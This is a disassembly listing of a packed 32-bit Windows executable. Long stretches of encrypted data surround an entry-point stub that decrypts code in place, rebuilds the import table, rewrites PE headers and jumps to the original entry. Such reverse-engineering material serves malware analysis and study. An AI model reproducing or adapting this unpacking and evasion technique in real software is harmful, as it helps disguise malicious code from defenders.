		dd 3EDB5895h, 0E0ECDF49h, 0C6DC7633h, 0F5A05487h, 0F5245300h
		dd 311D73C7h, 492DF9E1h, 6DDAFDEFh, 7986B7A3h, 0C2778EE6h
		dd 7F55D7A1h, 122DAC0h,	236FFAEEh, 2C677B33h, 0EE02F207h
		dd 0D511E0FCh, 0F1D972C6h, 0B07EC280h, 0BC560BF2h, 0C4DAC9C2h
		dd 532CCEA7h, 5E9CA4E6h, 0AD833BAEh, 1C5B62ACh,	210B3E03h
		dd 0CEC33EE6h, 0EEC88934h, 0AD71449Fh, 0E69E6657h, 40B41BC4h
		dd 0DDD39360h, 1E52ACE8h, 0CE642438h, 6F575FE5h, 6ABDF4FCh
		dd 0D592DF8Ch, 5CEF68A1h, 549ECC10h, 2384BA20h,	859E910Eh
		dd 990B1662h, 1BC11B02h, 425A5DD7h, 1A9B9FAFh, 1DB71F03h
		dd 177DD6DEh, 0D86684A3h, 0C8A08FBDh, 28406C28h, 90E2957Dh
		dd 8149A87Eh, 0C5E55A16h, 7A2A57ECh, 0D1D2E5Ch,	7FC2344Ah
		dd 82A504Fh, 5A9F329Ah,	788B3463h, 1A679B7Dh, 0C487DA6Fh
		dd 0E217123Eh, 458F07Ah, 3DE2BF5Eh, 0E0978224h,	6228FCE6h
		dd 7B2B378Fh, 0C4ABBB16h, 65157868h, 0B0F2A635h, 9E02322Dh
		dd 16AE4AFDh, 3723D2Ah,	0DC38A3B5h, 328253BAh, 8A01359Eh
		dd 0CDE387F2h, 0E4702C3Dh, 0A49794CBh, 0B544EAC0h, 94224A02h
		dd 61DDC5A9h, 509E4CC8h, 37BCDC95h, 0A67EEE3Eh,	14E078DCh
		dd 0EEFF36CDh, 1CBFF950h, 33501940h, 936DB6C5h,	0D1A9FE07h
		dd 4FBFC09Fh, 0EFFC5D3Dh, 480A2123h, 9B7E8477h,	0AC8E46BBh
		dd 6DD2B539h, 295F06D4h, 1B9D2FF6h, 0A522EF50h,	0C2EB6532h
		dd 0A53A91E1h, 0BC834705h, 27EE9C4h, 4998FE1Fh,	7870E7C2h
		dd 8D3FD0ACh, 8433F509h, 96F4BCE2h, 0C6E14AD1h,	6E690CF7h
		dd 78B1716Ah, 98E7107Fh, 98E400C4h, 0C6A90AA4h,	0B9652925h
		dd 972B3778h, 0E00B03E3h, 0AB8541E3h, 96279E16h, 8750321Ah
		dd 0CA281ADAh, 93F937BAh, 0D7035399h, 3475829Ah, 9B198336h
		dd 60521DB6h, 220E239Ch, 377A49BAh, 0F82BAF6Eh,	0C1C61B7h
		dd 96520651h, 4BF8AE12h, 14DF13BFh, 187367F5h, 0E863600Dh
		dd 0A2D2357Ch, 14794A62h, 73342C1Ah, 56BCF819h,	5B0EAB1Eh
		dd 0E9FFE215h, 0AB49FDCBh, 0EC3EBDD1h, 0B9AFFA46h, 2E78F287h
		dd 211F0DA2h, 8BFC8DBEh, 0BD34472Bh, 30805964h,	6670D50Bh
		dd 0C8CF4AB0h, 3ACB1C14h, 9E54F378h, 0ADDF8DE2h, 3303BE8Ch
		dd 0F7432439h, 33401718h, 3DB53C00h, 432B1827h,	0F66C6A40h
		dd 421E5AFFh, 34E815BCh, 4796DABEh, 7ADFC508h, 0A901CC86h
		dd 0FA6CB096h, 503435DEh, 0EF0372EEh, 350F1D6Ch, 453A4A87h
		dd 0E6F8FD39h, 93BA2A5Fh, 0EF0619F0h, 31B4BFC5h, 99FEB5D7h
		dd 0C6757EE5h, 21CEAA9Ch, 245FEBCBh, 0F33C938h,	0C2210B32h
		dd 0DF312CDh, 1881D264h, 0AAA4B811h, 167F7313h,	82CF129Ah
		dd 7A263F20h, 9BDD2BEh,	0FF486176h, 2895233Ch, 0B67BABF5h
dword_437C54	dd 2D231BEDh		; DATA XREF: sub_40D70E+26o
					; sub_40D743+B6o ...
dword_437C58	dd 400000h		; DATA XREF: sub_4142D6+201w
		dd 27h dup(0)
dword_437CF8	dd 103h	dup(0)		; DATA XREF: sub_417F2F+5o
dword_438104	dd 0FCh			; DATA XREF: sub_404E2C+43r
					; sub_4142D6+236w ...
dword_438108	dd 0			; DATA XREF: .text:0040B152w
					; sub_40B45D+36w ...
dword_43810C	dd 0			; DATA XREF: .text:loc_40A6F0r
					; .text:loc_40AC48r ...
dword_438110	dd 0			; DATA XREF: sub_40F4FC+10r
					; sub_40F4FC:loc_40F536w ...
dword_438114	dd 0			; DATA XREF: sub_40F839+19r
					; sub_40F839+4Cw ...
dword_438118	dd 6C37h		; DATA XREF: sub_4048B7o
					; sub_4142D6+225w
dword_43811C	dd 0			; DATA XREF: sub_4142D6+22Aw
		dd 2 dup(0)
dword_438128	dd 3E3788h		; DATA XREF: sub_406B3F:loc_406F5Dr
					; sub_427F70:loc_427F9Fw
		align 10h
off_438130	dd offset off_430CE4	; DATA XREF: sub_427FA5+1o
					; sub_4280CC:loc_4280F0o
		dd 1, 37Ch, 0FFFFFFFFh
dword_438140	dd 6C37h, 3 dup(0)	; DATA XREF: sub_4016AD+8o
					; sub_4098F3+43o ...
dword_438150	dd 0C4h			; DATA XREF: sub_407F57+3r
					; sub_407F57+1Cr ...
dword_438154	dd 4 dup(0)		; DATA XREF: sub_404E2C+39o
					; sub_40818D+16o ...
dword_438164	dd 0			; DATA XREF: .text:0040A701o
					; .text:0040A737o ...
dword_438168	dd 0			; DATA XREF: .text:0040A4D6r
					; .text:0040A70Br
dword_43816C	dd 0			; DATA XREF: .text:0040A4CFr
					; .text:0040A718r
		dd 0
dword_438174	dd 4 dup(0)		; DATA XREF: .text:0040A53Ao
					; .text:0040BCAAo ...
		align 8
dword_438188	dd 4 dup(0)		; DATA XREF: .text:0040AD3Ao
					; sub_40B78B+C0o ...
		dd 0C8h
dword_43819C	dd 0D0h			; DATA XREF: sub_405664+10r
					; sub_405664+32r ...
		dd 4 dup(0)
dword_4381B0	dd 0			; DATA XREF: sub_405664+29r
					; sub_4056EB+29r ...
dword_4381B4	dd 0			; DATA XREF: sub_40E47E+1Ar
dword_4381B8	dd 4 dup(0)		; DATA XREF: .text:004086DFo
					; sub_40C201+36o ...
		dd 0D4h
dword_4381CC	dd 3E49E8h		; DATA XREF: .text:loc_428084w
dword_4381D0	dd 0DCh			; DATA XREF: sub_416071+12Cr
					; sub_416071+18Fr ...
dword_4381D4	dd 9 dup(0)		; DATA XREF: sub_416071+138o
					; .text:0042808Bo ...
dword_4381F8	dd 2 dup(0)		; DATA XREF: sub_40553D+66o
dword_438200	dd 0			; DATA XREF: sub_4247FF+1Aw
					; sub_424828+84r ...
dword_438204	dd 3E2778h		; DATA XREF: sub_420427+97r
					; sub_421A4C+Er ...
dword_438208	dd 0			; DATA XREF: sub_4247FF+15w
					; sub_424A23+F2w ...
		dd 5 dup(0)
byte_438220	db 0			; DATA XREF: sub_4247FF+6o
					; sub_424A23+52o ...
byte_438221	db 0			; DATA XREF: sub_42278F+47r
					; sub_42278F+11Dr ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_438324	dd 4E4h			; DATA XREF: sub_4247FF+10w
					; sub_424828+16r ...
		align 10h
word_438330	dw 0			; DATA XREF: sub_4247FF+1Fo
					; sub_424A23+109o ...
		align 10h
byte_438340	db 0			; DATA XREF: sub_424828:loc_42493Aw
					; sub_424828:loc_424957w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_438440	dd 0			; DATA XREF: sub_4201B1+79r
dword_438444	dd 0			; DATA XREF: sub_4201B1+29r
dword_438448	dd 0			; DATA XREF: sub_4201B1+4Cr
dword_43844C	dd 20h			; DATA XREF: sub_4210E3+Fr
					; sub_422197+Fr ...
		dd 4 dup(0)
dword_438460	dd 3E1F28h		; DATA XREF: sub_41F714+ACr
					; .text:00420C43r ...
dword_438464	dd 3Fh dup(0)		; DATA XREF: sub_422ABF+9Ao
dword_438560	dd 3E2F80h		; DATA XREF: .text:00420BEEw
					; .text:00420C07w ...
		dd 7 dup(0)
dword_438580	dd 400h	dup(0)		; DATA XREF: .text:off_433590o
					; .text:00433598o
dword_439580	dd 200h			; DATA XREF: .text:00420BC3r
					; .text:loc_420BDDw ...
dword_439584	dd 1			; DATA XREF: .text:0041CF00r
					; .text:0041D0E0r ...
dword_439588	dd 1			; DATA XREF: .text:0042099Cw
					; .text:004209C7w
dword_43958C	dd 1			; DATA XREF: sub_4226C8+9Fw
dword_439590	dd 3E2EF4h		; DATA XREF: sub_41C4AE+Dr
					; sub_41C4AE:loc_41C504r ...
dword_439594	dd 3E2EF8h		; DATA XREF: sub_41C4AE+1r
					; sub_41C4AE+15r ...
dword_439598	dd 1			; DATA XREF: sub_42266B+4r
					; sub_4226C8+3r ...
dword_43959C	dd 0			; DATA XREF: sub_41E9B4+21w
					; sub_41EA27+21Cr ...
dword_4395A0	dd 0			; DATA XREF: sub_41E9B4+28w
					; sub_41E9FCr ...
dword_4395A4	dd 0			; DATA XREF: sub_41E9B4+15w
					; sub_41E9FC+8r ...
dword_4395A8	dd 0			; DATA XREF: sub_41D01D+18r
					; sub_41E618+6Cr ...
dword_4395AC	dd 0			; DATA XREF: sub_41E9B4+2Fw
					; sub_41EA27+300w ...
dword_4395B0	dd 0			; DATA XREF: sub_41E9B4+3Cw
					; sub_41ED3F+5r ...
dword_4395B4	dd 0			; DATA XREF: sub_41EA27+229r
					; sub_41EA27+249r ...
dword_4395B8	dd 3E0000h		; DATA XREF: sub_41C2DD+5Fr
					; sub_41D01D+5Dr ...
dword_4395BC	dd 1			; DATA XREF: sub_41C2DD+13r
					; sub_41D01D+Fr ...
dword_4395C0	dd 142340h		; DATA XREF: start-1C23Fw
					; sub_42266B:loc_42267Cr ...
		align 1000h
_text		ends

; Section 2. (virtual address 0003A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0003A000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rdata		segment	para public 'CODE' use32
		assume cs:_rdata
		;org 43A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_820		= byte ptr -820h
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 0041DCB6 SIZE 0000019B BYTES
; FUNCTION CHUNK AT 0041DE7C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A10B SIZE 0000023E BYTES

		push	ebp
		sub	esp, 81Ch
		mov	ebp, esp
		nop
		mov	eax, 81Ch
		nop
		nop
		nop
		nop

loc_43A013:				; CODE XREF: start+22j
		mov	[esp+eax+820h+var_820],	al
		cmp	eax, 100h
		jl	short loc_43A021
		mov	[esp+eax+820h+var_820],	0

loc_43A021:				; CODE XREF: start+1Bj
		dec	eax
		jnz	short loc_43A013
		mov	[esp+eax+820h+var_820],	al
		jmp	loc_43A10B
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A02C	proc near		; CODE XREF: start+11Dp start+12Ep ...
		mov	eax, [ebp+804h]
		mov	ebx, [ebp+808h]
		nop
		add	eax, ebx
		cmp	eax, 8
		mov	eax, [ebp+804h]
		jl	short loc_43A04F
		mov	ebx, 8
		sub	ebx, eax

loc_43A04F:				; CODE XREF: sub_43A02C+1Aj
		mov	[ebp+80Ch], ebx
		mov	ecx, 8
		mov	edx, [ebp+804h]
		sub	ecx, edx
		sub	ecx, ebx
		mov	ch, 8
		sub	ch, bl
		mov	eax, [ebp+800h]
		mov	dl, ss:byte_43B000[eax]
		ror	dl, 6
		xor	dl, 97h
		shl	dl, cl
		mov	cl, ch
		shr	dl, cl
		mov	eax, [ebp+808h]
		mov	ebx, [ebp+804h]
		add	eax, ebx
		cmp	eax, 8
		jl	short loc_43A0F6
		mov	eax, [ebp+800h]
		inc	eax
		mov	[ebp+800h], eax
		mov	eax, [ebp+808h]
		mov	ebx, [ebp+80Ch]
		sub	eax, ebx
		mov	[ebp+810h], eax
		mov	ecx, 8
		sub	ecx, eax
		mov	ebx, 8
		mov	eax, [ebp+808h]
		sub	ebx, eax
		mov	ch, bl
		mov	eax, [ebp+800h]
		mov	bl, ss:byte_43B000[eax]
		ror	bl, 6
		xor	bl, 97h
		shl	bl, cl
		mov	cl, ch
		shr	bl, cl
		or	dl, bl
		mov	eax, [ebp+810h]
		mov	[ebp+804h], eax
		jmp	short locret_43A10A
; ---------------------------------------------------------------------------

loc_43A0F6:				; CODE XREF: sub_43A02C+68j
		mov	eax, [ebp+804h]
		mov	ebx, [ebp+808h]
		add	eax, ebx
		mov	[ebp+804h], eax

locret_43A10A:				; CODE XREF: sub_43A02C+C8j
		retn
sub_43A02C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_43A10B:				; CODE XREF: start+27j
		xor	edi, edi
		mov	esi, 100h

loc_43A112:				; CODE XREF: start+1FAj
		mov	eax, 8
		mov	[ebp+808h], eax
		call	sub_43A02C
		push	edx
		mov	eax, 3
		mov	[ebp+808h], eax
		call	sub_43A02C
		xchg	dh, dl
		pop	ecx
		or	edx, ecx
		push	edx
		mov	eax, 3
		mov	[ebp+808h], eax
		call	sub_43A02C
		cmp	edx, 0
		jnz	short loc_43A153
		mov	edx, 8

loc_43A153:				; CODE XREF: start+14Cj
		pop	ecx
		push	ecx
		push	edx

loc_43A156:				; CODE XREF: start+1C2j
		mov	eax, ss:[ecx+ebp]
		push	ebp
		push	ecx
		mov	ecx, edi
		sub	ecx, 0
		cmp	edi, 27200h
		jge	short loc_43A177
		mov	ebp, offset sub_401000
		mov	ss:[ecx+ebp], al
		jmp	short loc_43A190
; ---------------------------------------------------------------------------

loc_43A177:				; CODE XREF: start+16Aj
		mov	ecx, edi
		sub	ecx, 27200h
		cmp	edi, 31000h
		jge	short loc_43A192
		mov	ebp, offset dword_429000
		mov	ss:[ecx+ebp], al

loc_43A190:				; CODE XREF: start+175j
		jmp	short loc_43A1AB
; ---------------------------------------------------------------------------

loc_43A192:				; CODE XREF: start+185j
		mov	ecx, edi
		sub	ecx, 31000h
		cmp	edi, 33600h
		jge	short loc_43A1AD
		mov	ebp, offset dword_433000
		mov	ss:[ecx+ebp], al

loc_43A1AB:				; CODE XREF: start:loc_43A190j
		nop
		nop

loc_43A1AD:				; CODE XREF: start+1A0j
		pop	ecx
		pop	ebp
		nop
		add	edx, 814h
		mov	[edx+ebp], al
		sub	edx, 814h
		inc	ecx
		inc	edi
		dec	edx
		jnz	loc_43A156
		pop	edx
		pop	ecx
		add	edx, 814h

loc_43A1D0:				; CODE XREF: start+1ECj
		mov	al, [edx+ebp]
		mov	ss:[esi+ebp], al
		inc	esi
		cmp	esi, 800h
		jl	short loc_43A1E5
		mov	esi, 100h

loc_43A1E5:				; CODE XREF: start+1DEj
		dec	edx
		cmp	edx, 814h
		jnz	short loc_43A1D0
		mov	ebx, [ebp+800h]
		cmp	ebx, 2907Dh
		jl	loc_43A112
		mov	edi, 8
		mov	ebx, offset dword_431F28

loc_43A20A:				; CODE XREF: start+258j
		mov	eax, [ebx]
		add	eax, 400000h
		push	eax
		call	ds:dword_43AFD3	; LoadLibraryA
		mov	esi, eax
		push	ebx
		add	ebx, 4
		mov	eax, [ebx]
		add	eax, 400000h
		mov	ebx, eax
		mov	eax, [ebx]

loc_43A229:				; CODE XREF: start+251j
		add	eax, 400002h
		push	eax
		and	eax, 80000000h
		pop	eax
		jz	short loc_43A23F
		and	eax, 0FFFFh
		sub	eax, 2

loc_43A23F:				; CODE XREF: start+235j
		push	eax
		push	esi
		call	ds:dword_43AFD7	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		mov	eax, [ebx]
		cmp	eax, 0
		jnz	short loc_43A229
		pop	ebx
		add	ebx, 14h
		dec	edi
		jnz	short loc_43A20A
		push	esp
		push	40h
		push	1000h
		push	400000h
		call	ds:dword_43AFDB	; VirtualProtect
		mov	ebp, 400000h
		mov	dword ptr [ebp+1F0h], 2719Ah
		mov	dword ptr [ebp+1F4h], 1000h
		mov	dword ptr ss:4001F8h, 27200h
		mov	dword ptr ss:4001FCh, 400h
		mov	dword ptr [ebp+20Ch], 60000020h
		mov	dword ptr [ebp+218h], 9DF0h
		mov	dword ptr [ebp+21Ch], 29000h
		mov	dword ptr ss:400220h, 9E00h
		mov	dword ptr ss:400224h, 27600h
		mov	dword ptr ss:400234h, 40000040h
		mov	dword ptr ss:400240h, 65C4h
		mov	dword ptr ss:400244h, 33000h
		mov	dword ptr ss:400248h, 2600h
		mov	dword ptr ss:40024Ch, 31400h
		mov	dword ptr ss:40025Ch, 0C0000040h
		mov	dword ptr [ebp+118h], 1DCB6h
		mov	dword ptr [ebp+0F6h], 3
		mov	dword ptr [ebp+170h], 31F1Ch
		mov	dword ptr [ebp+174h], 0B4h
		add	esp, 81Ch
		pop	ebp
		jmp	loc_41DCB6
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0C5h, 15h, 8Eh
		dd 1E1A1836h, 80316A1h,	0C2080768h, 1C030C13h, 13F70802h
		dd 1E152115h, 940BD9FCh, 0AC17170Fh, 37012714h,	18058C07h
		dd 1117018Fh, 1B01AD19h, 4D0E0E18h, 0BC1AA1Dh, 0D0E201Dh
		dd 0DB033CB9h, 45641268h, 4B390F82h, 17721301h,	0AD110D10h
		dd 0BD6D0F9h, 133FD20Dh, 1B011E3Dh, 81A0795h, 111084Ch
		dd 0F1AF1F20h, 0A8861910h, 16273D6Fh, 0BE081BB5h, 0B11F1FDFh
		dd 189FC6E4h, 0B2160215h, 1962FD0Bh, 829150Ch, 0DB620A93h
		dd 0F140D7Eh, 15B0209h,	0EB0FD613h, 0D1C1E15h, 0E75401Fh
		dd 0E005C72Ah, 95200738h, 3E6BF800h, 16B10E22h,	0FA135D1Bh
		dd 0E0D200Fh, 1420712h,	0B200235h, 0DB03EC8Fh, 101E041Ch
		dd 310ED0h, 0BADAC63h, 0EC0511B4h, 25D1B75h, 0F9EEB712h
		dd 0C0C0815h, 0C042309h, 1E2AF7B5h, 3D1F5B8Dh, 0B10F6DEh
		dd 1112194Ch, 749160Eh,	250818h, 10EF1DCEh, 30AE7218h
		dd 100B4521h, 8F081204h, 684081Dh, 191E1560h, 3413EEA5h
		dd 2354008Eh, 80AAB09h,	91E1ECCh, 0EF212h, 101C2C13h, 93283F9h
		dd 0AACE040Dh, 60D0B53h, 12000D01h, 6601A9C1h, 1C2EFB14h
		dd 0C3070A0Dh, 150A01BAh, 0DA191E11h, 1FD70E0Bh, 0A0301115h
		dd 139591C2h, 9C7B030Fh, 69401DBh, 7E1B7207h, 0C090706h
		dd 94F200D6h, 0A15B0090h, 530C07B2h, 0B5A8F3C8h, 1A1A0BE1h
		dd 0F2A02E16h, 0B961C3AAh, 65053D04h, 920CDFAh,	1720618Bh
		dd 0AF144300h, 700B3E6h, 1916F5EEh, 0A130D10h, 2001905h
		dd 0F5194005h, 0C5100ACBh, 0CD162A02h, 0D0EAF07h, 42190D1Bh
		dd 0E03E090Dh, 1B118E1Eh, 611D9909h, 460E02E6h,	81A4A60h
		dd 63072011h, 9B0307E1h, 1700121Dh, 0A0FD21Fh, 19170810h
		dd 40CAA0DCh, 3100612h,	580E8229h, 0ACD1F7Bh, 812340Ah
		dd 0C6021101h, 7151F18h, 1B1C9297h, 0B10C0017h,	914FA05h
		dd 0D101F16h, 1ED61963h, 13BA0D09h, 44AE4902h, 80145D61h
		dd 0BAE20504h, 1A061521h, 16F2620Ch, 1D078A0Dh,	15829F1Bh
		dd 6EEEC31Dh, 335CE0Eh,	0B9332307h, 14F9270Ch, 0F6CB3D5h
		dd 0B85014A1h, 0E817200Dh, 13378788h, 471F3204h, 0E0071206h
		dd 14CA0F08h, 3D31214h,	91EFF0Fh, 9B1FCD28h, 9031220h
		dd 9F3B0CB0h, 2A1B095Bh, 1A11E0F7h, 0E20087Ah, 60C0505h
		dd 0EDA0DA6Fh, 0CF021BD0h, 501C410h, 154C160Ah,	99C12501h
		dd 1F770C9Eh, 10AD5719h, 40C78F4h, 130E1D6Ch, 4013F671h
		dd 0BC5A0051h, 70502DAh, 0C101E1Ch, 128AE991h, 70FA922h
		dd 12F91807h, 1A101B00h, 78F4FF04h, 0CBB1118h, 744C1013h
		dd 191A6914h, 18151909h, 19013A3Eh, 0C478814h, 1E2E5359h
		dd 0E4CA1D20h, 15ADF014h, 0FD181719h, 680D1DE0h, 0E315AFA1h
		dd 0D60C0BEBh, 0A10A1FC4h, 161E0C6Fh, 49F91018h, 77316705h
		dd 0EE021261h, 1E290A0Ah, 9126702h, 1306E4FCh, 35FF1B0Dh
		dd 7E091101h, 1D1E1C2Fh, 17761C0Eh, 0C11C5E1Eh,	13F11A18h
		dd 961A813h, 1612020Bh,	4B188B17h, 71E80C69h, 2D1F751Bh
		dd 0EA50C808h, 60A610Ah, 4A352003h, 5515195Dh, 80E72C0h
		dd 0CC070EFEh, 40D7181Bh, 90EE62Dh, 1E651E05h, 57FE1E13h
		dd 801F2062h, 1D1FFC05h, 1913050Ah, 2010B807h, 5F040205h
		dd 160A09EAh, 10061B0Dh, 0D0FDA512h, 3D16051Fh,	0DB190E13h
		dd 0B15166Bh, 4E0814E5h, 948F808h, 6A16F8EFh, 10551B1Ch
		dd 3E711607h, 17C4060Eh, 16001016h, 339CF3Ah, 8B007603h
		dd 8D41504h, 1F722014h,	1B200908h, 8603ECEAh, 34173413h
		dd 1F0F0A1Ah, 1201D0Ch,	7E040536h, 204D804h, 0F225CC6Bh
		dd 1151131h, 40E95B7h, 0AEB61715h, 6F0708CEh, 0C000E0Ah
		dd 0CB19151Dh, 0EF63A31Eh, 0F088D7Fh, 0A11C1B07h, 57621B1Ch
		dd 8CE9200Bh, 1FEC1392h, 17051F07h, 2607BC2Fh, 280E175Bh
		dd 625B1406h, 0BA0FF605h, 25671B79h, 2920011Eh,	0DC1AC60Dh
		dd 2082017h, 36C31CE5h,	0A69EC15h, 184FC601h, 0C6207A5Eh
		dd 1319121Ch, 1E004911h, 1D100B0Ah, 1F91B16h, 7081505h
		dd 10C508h, 0E9202E08h,	0A3FD1ABBh, 0EB101501h,	0F0E84AFh
		dd 0A2C2E0Eh, 0DA275E40h, 36B15849h, 33FD0E64h,	1603D3h
		dd 0D12101Eh, 9A1EBEF7h, 0A6417EC2h, 1F3B1CB1h,	0E471C13h
		dd 19091300h, 909C58Ch,	14B61C15h, 2446FF53h, 20078D1Dh
		dd 4F1A0E7Ch, 1113031Ah, 0DA705701h, 0F908C700h, 1C047C0Dh
		dd 91E6C3Fh, 0A0D9BB8h,	3A090A07h, 440D7E60h, 0F0516C5h
		dd 9E83B14h, 48BBC9CFh,	4132011h, 301F4h, 1E1F9C0Fh, 1D141C11h
		dd 0DAA5191Ah, 1A0F472Ch, 0FACD85h, 6B0D1A8Eh, 0A1B0E0Ah
		dd 0B1B7603h, 0F01E203Dh, 3338A20Ch, 36541374h,	70F50AE6h
		dd 0CA1C3A4Eh, 0DF2A8A7Fh, 561B0D1Ch, 20F4887h,	0E81F1AEDh
		dd 17FB191Eh, 541E151Eh, 0A4BF6E2h, 15808714h, 67117E10h
		dd 9E21A267h, 1C0C0A1Ch, 615F8315h, 0AA19A1Eh, 12F30537h
		dd 133C360Bh, 0D41A5107h, 0EC130310h, 458B6A1Bh, 1FE04D1h
		dd 1C40110Eh, 13751C17h, 422A180Bh, 1D25DFh, 0B4611C11h
		dd 5601BE5h, 0B450C07h,	5091C1Dh, 0C5AA1E8h, 20163D0Ch
		dd 100C0B2Bh, 112D16E3h, 1601AF11h, 0ECEC05D7h,	1814EFD6h
		dd 1D0B0889h, 0A0FE71Dh, 1F1E1120h, 0DE50782h, 0C3261054h
		dd 6B89EE0h, 722000Dh, 5E031F09h, 541B0A17h, 891A101Fh
		dd 0FCF0902Eh, 0EA1B038Ah, 20857360h, 760C5295h, 1A030E03h
		dd 7E6D1510h, 0B71A0807h, 22021B18h, 1823AA1Ah,	0C1A2E0Bh
		dd 16550A1Eh, 1C09B50Eh, 0EDB620Ch, 12C276E8h, 44762Eh
		dd 2B1C031Eh, 1F05B1F9h, 0C7D410C7h, 950C14BAh,	750908Ah
		dd 0FF1A590Eh, 1F9B0FB7h, 0E0B19503h, 0C0F011Eh, 2A6AEB27h
		dd 0A4C1D1Dh, 24EE15E4h, 0EACB1814h, 0D20CD410h, 0C083A08h
		dd 81184A1Ah, 0F550D1Ah, 0F263220Fh, 0D23C0F23h, 9A1E1DBBh
		dd 2E062514h, 0D61968EFh, 1C350758h, 0C200304h,	8D25829h
		dd 0A0205F2h, 5030509h,	4020B859h, 21090220h, 0EA0DC077h
		dd 0F51E01BFh, 141D74h,	80321FFFh, 0C61F00FBh, 0D103505h
		dd 85B30919h, 9D990E84h, 608800C3h, 19FB180Ah, 1BC01116h
		dd 3A565A05h, 1B3A48C7h, 10D2ABBEh, 1C50F9AEh, 180FEB71h
		dd 1D1A0030h, 0EA3B6B16h, 8607C30Ah, 0FF1D4406h, 0B1DA6h
		dd 47D00F12h, 600C893Ch, 50AC3EFh, 0E80F18E1h, 0D32000E3h
		dd 94111114h, 0E1A41607h, 2060119h, 901DA11h, 30A3D25h
		dd 120D1317h, 0FA02091Eh, 7207AE20h, 9B81911h, 12C00D15h
		dd 55790D12h, 3E097810h, 509141Ch, 11010751h, 60DE4702h
		dd 0E161711h, 0C7ECFC08h, 9731004h, 17A91CD7h, 0F4AC3720h
		dd 1F180204h, 831A041Fh, 36748317h, 0B121115h, 0E119FC03h
		dd 0F17016Dh, 137C490Ch, 0A06A213h, 5057012h, 0E181D09h
		dd 1A181500h, 2D0A9F00h, 6505B4CCh, 20FA0B07h, 0F31E0506h
		dd 0D308891Fh, 94041409h, 0C1A4C17h, 73126B30h,	5301131Ah
		dd 1EA8E9F3h, 0F1476FFh, 5FB73EF8h, 64EFEFDh, 103FC209h
		dd 1D07110Eh, 663DF632h, 3200908h, 0D3567BA8h, 0C8417C4h
		dd 1417DD09h, 0F37D1B06h, 17150517h, 641A151Fh,	74181E1Ch
		dd 0B08A1019h, 91CA01Ah, 1DF0F174h, 0A111408h, 26000000h
		dd 1D1A1F0Ch, 433541Dh,	5E130312h, 8CB372B2h, 4E146A64h
		dd 1E0314F8h, 52190AF1h, 11BB070Eh, 877119BAh, 0E21DB0FDh
		dd 0C151DE2Ch, 5C01D1Ah, 64B12A85h, 0B7055CAh, 41041788h
		dd 56B41318h, 136D7518h, 70489FDh, 82170B9Eh, 1A080D0Fh
		dd 6DA41442h, 0F71D1569h, 12175C01h, 200CA5B2h,	1DE5DA10h
		dd 6061B89h, 6607B865h,	8B1B192Bh, 1C04781Fh, 0CBDDB8E5h
		dd 0A1E1A09h, 7B0E0E6Dh, 2F70A12h, 601C580Ah, 904B281Ah
		dd 4CC68517h, 12047723h, 0E419A90Ah, 8305F1D8h,	800F06EFh
		dd 4F00F18h, 11A04B1Eh,	0F5944201h, 10112005h, 10B9400h
		dd 305CF1Ch, 1F05D51Ch,	0A51BC1Ah, 2C1948FBh, 0A8080C20h
		dd 3142518h, 5FE91A12h,	9737062Ch, 0C2BF12D0h, 0CF1FE8A3h
		dd 157F0D26h, 0AE050D0Ch, 1E08F27Ah, 11161919h,	201B0659h
		dd 0CC2467D8h, 1103FC05h, 0FF51CE9h, 15070D0Bh,	8F5F0B0Dh
		dd 1A20CB80h, 5EC1800h,	61630014h, 8011CF4h, 31B31011h
		dd 1A0D1909h, 0C11917F3h, 14085454h, 69A13CBh, 1C20014Bh
		dd 12053C01h, 861B310Dh, 1E82FF98h, 19F3F914h, 780E8687h
		dd 0B10890Bh, 50E1190Eh, 69D0401h, 70C0794h, 390B178Ch
		dd 0EF089500h, 83E0D14h, 85180F19h, 0F42073Dh, 0A31131C8h
		dd 2603FC77h, 3242054Bh, 700C4EE5h, 0F216DC0Bh,	9B071CE9h
		dd 1A7B1519h, 163F2092h, 9C0FFD4Fh, 160919B7h, 1F4D1F2Ch
		dd 0D48DF5D9h, 151E0384h, 9F1F180Dh, 0B512B109h, 0F0201762h
		dd 19860118h, 1117C01Ah, 15FA0310h, 0BE04DF07h,	8161C1Ah
		dd 185DF55Dh, 1700A118h, 1113E000h, 2089DE16h, 8A821FF7h
		dd 108D1927h, 50D0C1Fh,	40805ACh, 137CBA20h, 47DA0505h
		dd 0B613220Dh, 0E64116Dh, 181C068Eh, 1175F0Eh, 468490Ch
		dd 1F01881Ch, 0EEF9A312h, 952016D0h, 0E2A014Eh,	0D3CFDC46h
